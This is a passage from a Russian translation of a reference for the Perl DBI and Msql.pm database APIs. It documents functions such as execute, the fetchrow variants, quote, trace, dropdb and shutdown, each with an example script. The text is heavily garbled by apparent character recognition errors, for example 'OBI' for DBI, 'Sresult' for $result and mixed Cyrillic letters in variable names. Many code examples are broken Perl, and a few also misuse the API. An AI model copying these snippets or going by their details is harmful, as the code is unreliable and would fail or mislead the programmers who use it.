if (not $output) {

print "Error $DBI:err: $DBI:errstr\n"; }

$DBI::errstr

$error = $handle->errstr;

Эта функция возвращает сообщение о последней происшедшей ошибке DBI. Значение сохраняется до возникновения новой ошибки, когда оно будет заменено. Если во время данного сеанса ошибок не было, функция возвращает undef. Переменная $DBI: :errstr выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

Пример

Use DBI;

my $db = DBI->connect('DBI:mysql:mydata',

'wcbuscr','super_secret_squirrel');

my $error = $db->errstr;

warn("Boj последняя ошибка DBI: $error");

DBI::execute

$rows_affected = $statement_handle->execute;

$rows_affected = $statement_handle->execute(@bind_values);

DBI: : execute выполняет SQL-команду, содержащуюся в описателе команды. Для запроса, не являющегося SELECT, функция возвращает число измененных строк. Функция возвращает -1, если число строк неизвестно. Для запроса типа SELECT при успехе возвращается истинное значение. Если заданы аргументы, они используются для подстановки имеющихся в команде меток-заместителей (см. DBI: : prepare ).

Пример

use DBI;

my $db = DBI->connect('OBI:mSQL:mydata',undef,undef);

my $statement_handle = $db->prepare("SELECT * FROM mytable");

my $statement_handle2 = $db->prepare("SELECT name, date FROM myothertable WHERE name like ?");

$statement_handle->execute;

# Выполнена первая команда.К значениям можно

# обращаться через описатель.

$statement_handle->execute("J%");

# Выполнена вторая команда следующего содержания:

# SELECT name, date FROM myothertable WHERE name like 'J%'

DBI::fetchall_arrayref

$ref_of_array_of_arrays = $statement_handle->fetchall_arrayref;

DBI: :fetchall_arrayref возвращает все оставшиеся данные в описателе команды в виде ссылки на массив. Каждая строка массива - ссылка на другой массив, в котором содержатся данные этой строки. Если в описателе команды нет данных, функция возвращает неопределенное значение undef. Если с этим описателем команды уже выполнялись функции DBI: :fetchrow_ *, то DBI: :fetchall_arrayref возвращает все данные, оставшиеся после последнего обращения к DBI: : fetch row *.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata' ,undef,undef);

my $query = "SELECT name, date FROM myothertable";

my Soutput = $db->prepare($query);

$output->execute;

my $data = $output->fetchall_arrayref;

# Теперь $data является ссылкой на массив массивов. Каждый элемент

# 'главного' массива сам является ссылкой на массив, содержащий строку данных.

print "Четвертой строкой данных в таблице является: " . $data->[3][1]. "\n";

# Элемент 3 'главного' массива является массивом, содержащим четвертую

# строку данных, # Элемент 1 этого массива является датой.

DBI::fetchrow_array

@row_of_data = $statement_handle->fetchrow;

DBI: : fetch row возвращает очередную строку данных из описателя команды, созданного DBI: :execute . Каждое последующее обращение к DBI: : fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Порядок элементов в результирующем массиве определяется исходным запросом. Если запрос имел вид SELECT * FROM . . . , то элементы следуют в том порядке, в котором они были определены в таблице.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

my $myothertable_output = $db->prepare($query);

$myothertable_output->execute;

my ($name, $date);

# Это первая строка из $myothertable_output.

($name, $date) = $myothertable_output->fetchrow_array;

# Это следующая строка...

($name, $date) = $myothertable_output->fetchrow_array;

# И еще одна...

my @name_and_date = $myothertable_output->fetchrow_array;

# и т.д.....

DBI::fetchrow_arrayref, DBI::fetch

$аrrау_rеГегепсе = $statement_handle->fetchrow_arrayref;

$array_reference = $statement_handle->fetch;

DBI: : fetchrow_arrayref и ее псевдоним DBI: :fetch работают точно так же, как DBI: :fetchrow_array , но возвращают не фактический массив, а ссылку на него.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata', undef, undef);

my $query = "SELECT name, date FROM myothertable WHERE name LIKE -Bob%'";

my $myothertable_output = $db->prepare($query);

$myothertable_output->execute;

my $name1 = $myothertable_output->fetch->[0]

# Это поле 'name' из первой строки данных,

my $date2 = $myothertable_output->fetch->[1]

# Это поле 'date' из второй строки данных.

my ($name3, $date3) = @{$myothertable_output->fetch};

# Это целиком третья строка данных.

$myothertable_output->fetch

# возвращает ссылку на массив. Можно 'преобразовать' ее в действительный

# массив, используя конструкцию @{}.

DBI::fetchrow_hashref

$hash_reference = $statement_handle->fetchrow_hashref;

DBI: :fetchrow_hashref работает так же, как OBI: :fetchrow_arrayref , но возвращает ссылку на ассоциативный, а не на обычный массив. Ключами хэша являются имена полей, а значениями - значения в этой строке данных.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $query = "SELECT * FROM mytable";

my $mytable_output = $db->prepare($query);

$mytable_output->execute;

my %row1 = $mytable_ouput->fetchrow_hashref;

my @field_names = keys %row1;

# @field_names содержит теперь имена всех полей в запросе.

# Это делается только один раз. Во всех следующих строках будут те же поля,

my @row1 = values %row1;

DBI::finish

$result = $statement_handle->finish;

DBI:: finish освобождает все данные в описателе команды, чтобы можно было уничтожить описатель или снова подготовить его. Некоторым серверам баз данных это необходимо для освобождения соответствующих ресурсов. DBD::mSQL и DBD::mysql не нуждаются в этой функции, но для переносимости кода следует использовать ее по окончании работы с описателем команды. Функция возвращает неопределенное значение undef, если описатель не удается освободить.

Пример

use DBI;

my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

my $query = "SELECT * FROM mytable";

my $mytable_output = $db->prepare($query);

$mytable_output->execute;

$mytable_output->finish;

# Теперь можно переназначить $mytable_output или подготовить для него

# другую команду SQL.

DBI::func

$handlc->func(@func_argumcnts, $func_name);

@dbs = $db->func("$hostname", '_ListDBs');

@dbs = $db->func("$hostname:Sport", '_ListDBs');

@tables = $db->func('_ListTables');

$result = $drh->func( $database, '_CreateDB' );

Sresult = $drh->func( Sdatabase, '_DropDB' );

DBI::func вызывает специализированные непереносимые функции, включенные в различные драйверы DBD. Она используется с описателем базы данных или описателем команды, в зависимости от назначения специализированной функции. По возможности следует использовать равносильную переносимую функцию. При использовании специализированной функции сначала передаются ее аргументы как скаляр, а затем - имя функции. DBD::mSQL и DBD::mysql реализуют следующие функции:

_ListDBs

Функция _ListDBs принимает имя узла и необязательный номер порта и возвращает список имеющихся у сервера баз данных. Лучше использовать переносимую функцию DBJ::data_sources .

_ListTables

Функция _ListTables возвращает список таблиц, имеющихся в текущей базе данных.

_CreateDB

Функция _CreateDB принимает в качестве аргумента имя базы данных и пытается создать эту базу данных на сервере. Для работы с этой функцией необходимо иметь право создания баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

_DropDB

Функция _DropDB принимает в качестве аргумента имя базы данных и пытается удалить с сервера эту базу данных. Данная функция не выводит пользователю сообщений и при успешном выполнении удаляет базу данных навсегда. Для работы с этой функцией необходимо иметь право удаления баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

Пример

use DBI;

my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

my @tables =.$db->func('„List-Tables');

# @tables содержит теперь список таблиц в 'mydata'.

DBI::neat

$neat_string = DBI: :neat($s'tring);

$neat_string = DBI::neat($string, $maxlen);

DBI: : neat Принимает в качестве аргументов строку и необязательную длину. Затем строка форматируется для аккуратного вывода. Вся строка заключается в одиночные кавычки. Непечатаемые символы заменяются точками. Если задан аргумент длины, все символы после максимальной длины удаляются, а строка заканчивается тремя точками (...). Если длина не указана, по умолчанию используется значение 400.

Пример

use DBI;

my $string = "Это очень, очень длинная строка, в которой много чего написано. ";

my$neat_string = OBI: :neat($string,14);

# Теперь $neat_string такая: 'Это очень, оче...

DBI::neat_list

$neat_string = DBI::neat_list(\@listref, $maxlen);

$neat_string = DBI::neat_list(\@listref, $maxlen, $field_seperator);

DBI: :neat_list принимает три аргумента и возвращает аккуратно отформатированную строку, пригодную для вывода. Первый аргумент содержит ссылку на список выводимых значений. Второй аргумент -максимальная длина каждого поля. Последний аргумент - строка, используемая для разделения полей. Для каждого элемента списка вызывается OBI: :neat с использованием заданной максимальной длины. В результирующих строках для разделения полей используется последний аргумент. Если последний аргумент не задан, в качестве разделителя применяется запятая.

Пример

use DBI;

my @list = (' Bob', 'Joe', 'Frank');

my $neat_string = DBI::neat_list(\@list, 3);

# Теперь $neat_string такая: 'Bob', 'Joe', 'Fra...

DBI::prepare

$statement_handle = $db->prepare($statement);

$statement_handle = $db->prepare($statement, \%unused);

DBI: :prepare принимает в качестве аргумента SQL-команду, которую некоторые модули баз данных переводят во внутреннюю компилированную форму, исполняемую быстрее при вызове DBI: : execute . Эти модули DBD (не DBD::mSQL или DBD::mysql) принимают также ссылку на хэш необязательных атрибутов. Серверы mSQL и MySQL в настоящее время не реализуют концепцию подготовки команд, поэтому DBI: : prepare просто запоминает команду. По желанию вместо значений данных в команду можно вставить любое количество символов '?'. Эти символы известны как метки-заместители (placeholders). Функция DBI: : bind_param осуществляет подстановку действительных значений вместо меток-заместителей. Если по какой-либо причине команду нельзя подготовить, функция возвращает undef.

Пример

use DBI;

my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

my $statement_handle = $db->prepare('SELECT * FROM mytable');

# Теперь эта команда готова к выполнению.

My $statement_handle = $db->prepare('SELECT name, date FROM myothertable WHERE name like ?');

# Эта команда будет готовя к выполнению после подстановки # с использованием функции DBI::bind_param.

DBI::quote

$quoted_string = $db->quote($string);

DBI::quote принимает строку для использования в качестве запроса SQL и возвращает ее копию с правильно расставленными для ввода в запрос кавычками, в том числе расставляя корректные кавычки по концам строки.

Пример

use DBI;

my $db1 = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $db2 = DBI->connect('DBI:mysql:myotherdata','me','mypassword');

my $string = "Sheldon's Cycle";

my $qs1 = $db1->quote($string);

# $qs1: 'Sheldon\'s Cycle' (включая наружные кавычки)

my $qs2 = $db2->quote($string);

# $qs2 : 'Sheldon's Cycle' (включая наружные кавычки)

# Теперь обе строки годятся для использования в командах для своих

# соответствующих серверов баз данных.

DBI::rows

$number_of_rows = $statement_handle->rows;

Del: : rows возвращает число строк данных, содержащихся в описателе команды. Для DBD::mSQL и DBD::mysql эта функция дает точное число для всех команд, включая SELECT. Для многих других драйверов, которые не хранят в памяти сразу все результаты, эта функция надежно работает только для команд, не являющихся SELECT. Это следует учитывать при написании переносимых программ. Функция возвращает —1, если по какой-либо причине число строк неизвестно. Переменная $DBI: : rows выполняет ту же задачу.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $query = "SELECT name, date FROM myothertable WHERE name='Bob'";

my $myothertable_output = $db->prepare($query);

$myothertable_output->execute;

my $rows = $myotnertable_output->rows;

print "В таблице 'myothertable' есть $rows строк 'Воb'\n";

DBI::state

$sql_error = $handle->state;

DBI: : state возвращает код ошибки SQL SQLSTATE последней по времени ошибки DBI. В данное время DBD::mSQL и DBD^mysql сообщают 'S1000' для всех ошибок. Эта функция доступна для описателей баз данных и команд. Переменная $ОВ1: : state выполняет ту же задачу.

Пример

Use OBI;

my $db = DBI->connect('DBI:mysql:mydata',

'webuser','super_secret_squirгеl');

my $sql_error = $db->state;

warn("BoT последняя по времени ошибка DBI SQL: $sql_error");

DBI::trace

DBI->trace($trace_level)

DBI->trace($trace_level, $trace_file)

$handle->trace($trace_level);

$handle->trace($trace_level, $trace_file);

DBI:: trace используется в основном для отладки. Если уровень трассировки установлен равным 2, выводится полная отладочная информация. Установка уровня 0 отключает трассировку. DBI->trace осуществляет трассировку для всех описателей, a $handle->trace - только для данного описателя — базы данных или команды. При наличии в DBI- >t race или $handle->trace второго аргумента отладочная информация выводится в указанный файл. Также трассировку можно включить, установив значение переменной окружения DBI_TRACE. Если переменная окружения установлена равной числу (в настоящее время 0 или 2), включается трассировка всех описателей на этом уровне. При другом значении переменной уровень трассировки устанавливается равным 2, а само значение используется в качестве имени файла для вывода отладочной информации.

Пример

use DBI;

my $db1 = DBI->connect('DBI:mysql:mydata',

'webuser','super_secret_squirrel');

my $db2 = DBI->connect('DBI:mSQL:myotnerdata',undef,undef);

DBI >trace(2);

# Включена трассировка для всех описателей на уровне 2.

$db2->trace(0);

# Отключена трассировка для $db2, но продолжает действовать для $db1

$db1->trace(2,'DBI.trace');

# Теперь включена трассировка для всех описателей на уровне 2, выдача

# посылается в файл 'DBI.trace'.

DBI::commit, DBI::rollback, DBI::ping

$result = $db->commit;

$result = $db->rollback;

Sresult = $db->ping;

DBI: :commit и DBI: : rollback полезны только при работе с серверами, поддерживающими транзакции. При работе с DBD::mSQL и DBD::mysql они не оказывают никакого эффекта. DBD: :ping пытается проверить, запущен ли сервер базы данных. В DBD::mSQL и DBD::mysql она не реализована.

Атрибуты

$db->{AutoCommit}

$handle->{ChopBlanks}

$handle->{CompatMode}

$handle->{InactiveDestroy}

$handle->{LongReadLen}

$handle->{LongTruncOk}

$handle->{PrintError}

$handle->{RaiseError}

$handle->{Warn}

$statement_handle->{CursorName}

$statement_handle->{insertid} (только MySQL)

$statement_handle->{is_blob} (только MySQL)

$statement_handle->{is_key} (только MySQL)

$statement_handle->{is_not_null}

$statement_handle->{is_num}

$statement__handle->{is_pri_key} (только MySQL и mSQL 1.x)

$statement_handle->{length}

$statement_handle->{max_length} (только MySQL)

$statement_handle->{NAME}

$statement_handle-><NULLABLE}

$statement_handle->{NUM_OF_FIELDS}

$statement_handle->{NUM_OF_PARAMS}

$statement_handle->{table}

$statement_handle->{type}

В DBI.pm API определено несколько атрибутов, которые можно читать и устанавливать в любой момент. Присвоение значения атрибуту может определенным образом изменить поведение текущего соединения. Присвоение любого отличного от нуля значения атрибуту устанавливает его. Присвоение значения 0 атрибуту сбрасывает его. Некоторые значения определены только для конкретных баз данных и непереносимы. Ниже следуют атрибуты, применимые как к описателям баз данных, так и к командам.

$db->{AutoCommit}

Этот атрибут оказывает влияние на поведение серверов баз данных, поддерживающих транзакции. Для mSQL и MySQL он всегда должен быть установлен (значение по умолчанию). Попытка изменить его прерывает выполнение программы.

$handle->{ChopBlanks}

При установке этого атрибута отсекаются все ведущие и замыкающие пробелы в данных, возвращаемых запросом (например, при вызове DBI: : fetch row ). Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию - «сброшен».

$handle->{InactiveDestroy}

Назначение этого атрибута - сохранить процесс при ветвлении (fork), чтобы дочерний процесс мог пользоваться родительским описателем. Его следует установить в родительском или дочернем процессе, но не в обоих. Значение по умолчанию - «сброшен».

$handle-> {PrintError}

При установке этого атрибута выводятся все предупредительные сообщения. При сброшенном атрибуте доступ к ошибкам осуществляется только через $DBI: :errstr. Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию -«установлен».

$handle->{RaiseError}

При установке этого атрибута все ошибки возбуждают в программе исключительные ситуации, прерывая ее выполнение, если не определен обработчик '__DIE__'. Все описатели, производные от этого, наследуют значение этого атрибута. Значение по умолчанию -«сброшен».

$handle->{Warn}

При установке этого атрибута выводятся предупредительные сообщения о неудачных приемах программирования (особенно пережитках Perl 4). Сброс этого атрибута отключает предупреждения DBI, что допустимо только при полной уверенности в своем мастерстве. Все производные от данного описатели (например, описатель команды, происходящий от описателя базы данных) наследуют значение этого атрибута. Значение по умолчанию — «установлен».

$statement_handle->{insertid}

Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает из таблицы текущее значение поля auto_increment (если таковое имеется). Если поле auto_increment не существует, атрибут возвращает undef.

$statement_handle->{is_blob}

Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно тип BLOB. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_blob} возвращает undef.

$statement_handle->{is_key}

Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как KEY. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_key} возвращает undef.

$statement_handle->{is_not_null}

Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как 'NOT NULL' . Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef. Того же результата можно достичь в переносимом виде, используя $statement_handle->{NULLABLE} .

$statement_handle->{is_num}

Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно числовой тип. Для описателя команды, созданного не выражением SELECT, $statement_handle->{is_num} возвращает undef.

$statement_handle->{is_pri_key}

Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. При использовании с DBD::mSQL он оказывает влияние только для серверов mSQLl.x, поскольку mSQL2.x не использует первичные ключи. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, является ли оно первичным ключом.

Для описателя команды, созданного не выражением SELECT, данный атрибут возвращает undef.

$statement_handle->{length}

Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Этот атрибут возвращает ссылку на список максимально допустимых размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{length} возвращает undef.

$statement_handle->{max_length}

Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на список фактических максимальных размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef.

$statement_handle->{NAME}

Атрибут возвращает ссылку на список имен полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NAME} возвращает undef.

$statement_handle->{NULLABLE}

Этот атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, может ли оно иметь значение NULL. Поле, определенное как 'NOT NULL', даст в списке значение 0. Остальные поля дадут значение 1. Для описателя команды, созданного не выражением SELECT, атрибут возвращает undef.

$statement_handle->{NUM_OF_FIELDS}

Атрибут возвращает число колонок данных, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NUM_OF_FIELDS} возвращает 0.

$statement_handle->{NUM_OF_PARAMS}

Этот атрибут возвращает число меток-заместителей в описателе команды. Метки-заместители обозначаются в команде символом '?'. Для подстановки вместо меток-заместителей надлежащих значений используется функция DBI: : bind_values .

$statement_handle->{table}

Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на список имен таблиц, к которым осуществлялся доступ в запросе. Полезно использовать для SELECT с соединением нескольких таблиц.

$statement_handle->{type}

Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на список типов полей, содержащихся в описателе команды. Для описателя команды, созданного не выражением SELECT, $statement_handle->{max_length} возвращает undef. Значениями списка являются целые числа, соответствующие перечислению в заголовочном файле С mysql_com.h из дистрибутива MySQL. Сейчас способа доступа к именам этих типов из DBI не существует. Но доступ к типам возможен через функцию &Mysql: : FIELD_TYPE_ * в Mysql.pm. В DBD::mysql имеется также недокументированный атрибут $statement_handle->{format_type_name} , идентичный $statement_handle- >{type} , за исключением того, что вместо целых чисел возвращает SQL-названия типов. Следует подчеркнуть, что это недокументированный атрибут, и автор DBD::niysql высказал свое намерение убрать его, как только в DBI будет реализована такая же функция.

$statement_handle->{CursorName}

$handle->{l_ongReadLen}

$handle->{l_ongTruncOk}

$handle->{CompatMode}

Все эти атрибуты не поддерживаются в DBD::mSQL и DBD::mysql. Присвоение им значений ничего не даст, а чтение возвратит 0 или undef. Исключение составляет атрибут $statement_handle->{CursorName} . В настоящее время любое обращение к нему «убьет» программу.

Пример

use DBI;

my $db = DBI->connect('mysql:mydata','me','mypassword');

$db->{RAISE_ERROR} = 1;

# Теперь любая ошибка DBI/DBD убьет программу.

my $statement_handle = $db->prepare('SELECT * FROM mytable');

$statement_handle->execute;

my @fields = @{$statement_handle->{NAME}};

# @fields содержит теперь список с именами всех полей в 'mytable'.

Msql.pm API

use Msql

use Msql;

Это объявление должно быть в любой программе Perl, использующей модуль Msql.pm.

Msql::connect

$db = Msql->connect;

$db = Msql->connect($host);

$db = Msql->connect($host, Sdatabase);

Устанавливает соединение между вашей программой на Perl и сервером Msql. У этой функции три версии. При отсутствии аргументов соединение устанавливается с сонетом Unix Msql на локальном узле без указания базы данных. Это наиболее эффективное соединение. Если задан один скалярный аргумент, он рассматривается как имя узла или IP-адрес сервера mSQL. Производится соединение с этим сервером без указания базы данных. Если присутствуют два скалярных аргумента, то первый рассматривается как имя узла сервера mSQL, а второй - как имя требуемой базы данных. Программа устанавливает соединение с указанным сервером и выбирает указанную базу данных. Возвращаемое значение является ссылкой на объект, называемый описателем базы данных (database handle). Вся связь с самим сервером базы данных происходит через этот объект. В случае невозможности установить соединение, все версии функции возвращают undef, и в $Msql: :db_errstr помещается сообщение об ошибке.

Пример

use Msql;

# Соединение с сокетом Unix локального узла ' my $db = Msql->connect;

# Или...

# Соединение с узлом 'www.myserver.com' без указания, базы данных

mу $db = Msql->connect('www.myserver.com');

# Или...

# Соединение с сервером 'www.myserver.com' и выбор базы данных 'mydata'

mу $db = Msql->connect('www.myserver.com','mydata');

Msql::createdb

$result = $db->createdb($database);

Msql: : createdb создает базу данных, имя которой принимает в качестве аргумента. Запрос на создание посылается серверу mSQL. Команда посылается от имени пользователя, запустившего CGT-программу. Поэтому для успешного использования в программе CGI последняя должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.

Пример

use Msql;

my $db = Msql->connect;

my $my_new_database = 'mynewdata';

my $result = $db->createdb($my_new_database);

die "База данных не создана!"

if $result == -1;

print "$my_new_database создана.\n";

Msql::database

$database = $db->database;

Msql: database возвращает имя текущей базы данных как скаляр. Функция возвращает undef, если нет выбранной базы данных.

Пример

use Msql;

my $db = Msql->connect('www.myserver.com','mydata');

my $database = $db->database;

print "Здесь должно быть выведено 'mydata': $database\n";

Msql::dropdb

$result = $db->dropdb($database);

Msql: :dropdb принимает в качестве аргумента имя базы данных, которую нужно удалить. Затем она посылает запрос на удаление серверу mSQL. Команда посылается от имени пользователя, запустившего CGI-программу. Поэтому для успешного использования в программе CGI она должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха. Она не просит подтверждения, и ее результат становится постоянным, поэтому ее следует использовать с крайней осторожностью.

Пример

use Msql;

my $db = Msql->connect;

my $result = $db->dropdb('mydata');

die "Команда не выполнена!"

if result == -1;

print "'mydata' потеряна навсегда.\n";

Msql::errmsg

$error = $db->errmsg:

Msql::errmsg возвращает последнюю по времени ошибку сеанса работы с сервером mSQL. Значение сохраняется, пока не произойдет следующая ошибка, и тогда заменяется новым. Если во время сеанса не произошло ошибки, функция возвращает undef.

Пример

use Msql;

my $db = Msql->connect;

my Serror = $db->errmsg;

warn("Вот последняя по времени ошибка mSQL: $error");

Msql::getsequenceinfo

($step, $value) = $db->getsequenceinfo($table);

Msql: :getsequenceinfo принимает в качестве аргумента имя таблицы. Функция возвращает шаг и значение последовательности, если она определена в таблице. Если в указанной таблице не определена последовательность, то возвращается неопределенное значение undef, и в Msql: :errmsg помещается ошибка.

Пример

use Msql;

my $db = Msql->connect;

my ($step, $value) = $db->getsequenceinfo('mytable');

die "B mytable не задана последовательность" if not $step;

print "B mytable есть последовательность со значением $value и шагом

$step\n";

Msql::host

Shost = $db->host;

Msql: :host возвращает имя узла сервера базы данных как скаляр. Не гарантируется возврат канонического или хотя бы полностью квалифицированного доменного имени. В действительности, хотя это и не документировано, Msql:: host возвращает ту самую строку, которая передавалась серверу при вызове Msql::connect . Это согласуется и с тем, что Msql:: host возвращает undef, если использовалась форма Msql: : connect без аргументов.

Пример

use Msql;

my $ijh - Msql->connect( 'www.myserver.com');

my $host = $db->host;

print "Вероятно, вы видите 'www.myserver.com': $host\n";

Msql::listdbs

@databases = $db->listdbs;

Msql: :listdbs возвращает список имеющихся на сервере баз данных. Если баз данных нет, она возвращает пустой массив.

Пример

use Msql;

my $db = Msql->connect;

my @databases = $db->listdbs;

print "Имеющиеся базы данных:\n\n" . join("\n",@databases);

Msql::listfields

$fields = $db->listfields($table);

Msql:: listf ields принимает в качестве аргумента имя таблицы в текущей базе данных. Она возвращает ссылку на объект, который содержит имена всех полей и некоторые другие сведения. Эта ссылка известна как описатель команды (statement handle). Содержащиеся в нем данные можно извлечь с помощью функций Msql::Statement: :as_string, Msql::Statement: :listindices (только mSQL2.0), Msql: Statement: :numfields , Msql::Statement::table , Msql::Statement::name , Msql::Statement::type , Msql::Statement::isnotnull , Msql::Statement::isprikey , Hsql::Statement::isnum и Msql::Statement: .'length . Если таблицы не существует, функция возвращает неопределенное значение undef, и в Msql: :errmsg помещается ошибка. В описании Msql: :Statement: :fetchhash можно видеть прием, который делает данную функцию несколько устаревшей.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $fields = $db->listfields('mytable');

warn ("Проблемы с 'mytable-': " . $db->errmsg)

if (not $fields);

# $fields явяется ссылкой на все поля в таблице 'mytable'.

print "mytable содержит следующие поля:\n";

print $fields->as_string;

Msql::listindex

@index_handles = $db->listindex($table,$index);

Msql: : listindex принимает в качестве аргументов имена таблицы и индекса и возвращает массив описателей команд, содержащих данные о каждом из индексов. Хотя, согласно документации, эта функция возвращает массив описателей команд, всегда возвращается не более одного описателя. Поэтому, вероятно, можно рассматривать эту функцию как возвращающую скалярный описатель команды. Это описатель в том же стиле, что и возвращаемый Msql::query , и может обрабатываться теми же функциями. Если индекс не существует, возвращается неопределенное значение undef. В возвращаемой таблице данных об индексе одна колонка с именем «Index». В первой строке указан тип индекса, который в mSQL2.0 всегда «avl». Остальные строки суть имена полей, составляющих индекс. Эта функция применима только к mSQL версий 2.0 и выше.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $mytable_fields = $db->listfields('mytable');

my @indices = $mytable_fields->listindices;

# Я знаю имена всех индексов.

foreach (@indices) {

my $index_info_handle = $db->listindex('mytable',$_);

my (@index_info) = $index_info_handle->fetchcol(0);

my $type_of_index = shift(@index_info);

# $type_of_index содержит теперь тип индекса (вероятно, 'avl'),

# a @index_info содержит теперь список полей в индексе.

Msql::listtables

@tables = $db->listtables;

Msql: :listtables возвращает массив таблиц, имеющихся в базе данных. Если в базе данных нет таблиц, функция вернет пустой массив.

Пример

use Msql;

my $db = Msql->connect;

my @tables = $db->listtables;

my $database = $db->database;

print "B $database есть следующие таблицы:\n\n" join("\n",@tables);

Msql::query

$query_output = $db->query($sql_statement);

Msql::query является самой важной и наиболее часто используемой функцией в Msql.pm API. В действительности вы посылаете SQL-запросы серверу базы данных через эту функцию. Функция принимает в качестве аргумента скалярную строку, содержащую SQL-запрос. Если запрос является выражением SELECT, то она возвращает описатель команды, содержащий результаты выполнения запроса. В противном случае функция вернет число строк, измененных запросом. С описателем команды работают те же самые функции, которые были перечислены для Msql:: listf ields (за исключением Msql:: Statement:: listindices ), a также следующие: Msql::Statement: :fetchrow , Msql::Statement::fetched , Msql::Statement::fetchhash , Msql: Statement::numrows , Msql::Statement::maxlength и Msql: Statement: :dataseek . Если по какой-либо причине запрос был неудачным, возвращается значение undef и в Msql: :errmsg помещается ошибка. Каждый описатель команды содержит выходные данные отдельного запроса, поэтому можно послать системе много запросов и работать с каждым описателем команды, когда заблагорассудится.

Пример

use Msql;

my $db = Msql->connect; $db->selectdb('mydata');

my $query1 = "SELECT * FROM mytable";

my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

my $query3 = "UPDATE myothertable SET name='Bob' WHERE name='Joe'";

my $mytable_output = $db->query($query1);

my $myothertable_output = $db->query($query2);

my $myothertable_input = $db->query($query3);

# $mytable_output содержит результаты запроса к 'mytable'

# $myothertable_output содержит результаты запроса к 'myothertable'

print "Обновление 'myothertable' повлияло на имена в $myothertable_input

\n";

$Msql::QUIET

Если переменная $Msql: : QUIET установлена в true, то параметр -w в Perl отключает вывод ошибок. В противном случае все ошибки MsqlPerl будут автоматически посылаться на STDERR. Переменную можно в любой момент сбросить. Функция вывода сообщений об ошибках по -w настолько полезна, что не рекомендуется устанавливать $Msql: : QUIET .

Пример

use Msql;

# Отключить сообщения об ошибках. Действует, только если сценарий

# запущен с '-w'.

$Msql::QUIET = 1;

# Выполняем многословную часть...

# Снова включаем сообщения об ошибках. $Msql::QUIET = undef;

Msql::quote

$quoted_string = $db->quote($string);

$truncated_quoted_string = $db->quote($string,$length);

Msql: :quote принимает в качестве аргумента скалярную строку. Она возвращает ту же строку, но с правильной расстановкой кавычек, пригодную для вставки в поле базы данных типа CHAR или TEXT. Более точно, строка заключается в одиночные кавычки, а одиночные кавычки внутри строки предваряются управляющим символом «обратная косая черта». Если задан второй аргумент, результирующая строка укорачивается до заданной длины.

Пример

use Msql;

my $db = Msql->connect;

my $string = "Это ' (одинарная кавычка)";

my $qstring = $db->quote($string);

print qq%Tenepb значение строки "'Это\\' (одинарная кавычка)'" : $qstring\n%;

Msql::selectdb

$db->selectdb($database);

Msql: :selectdb выбирает базу данных на сервере. В случае неуспеха в Msql: :errmsg помещается ошибка. Единственный действенный способ проверить успешность выполнения функции - посмотреть значение $db->database и сравнить его с той базой данных, с которой вы хотели соединиться. В любой момент выполнения программы можно переключиться между базами данных.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

# Выбранной базой данных является 'mydata'

if ($db->database ne 'mydata') {

wаrn('Базу данных выбрать не удалось!'); }

$db->selectdb('myotherdata');

# Теперь выбрана база данных 'myotherdata'

Msql::shutdown

$result = $db->shutdown;

Msql: : shutdown посылает на сервер mSQL команду остановки. Команда посылается от имени пользователя, запустившего программу, поэтому для использования в CGI-программе последняя должна запускаться пользователем, имеющим право остановки сервера баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.

Пример

use Msql;

my $db = Msql->connect;

# Пора закрывать базу данных...

my $result = $db->shutdown;

die "Команда не выполнена!" if $result — -1;

print "Сервер остановлен.\n";

Msql::Statement::as_string

$formatted_table = $statement_handle->as_string;

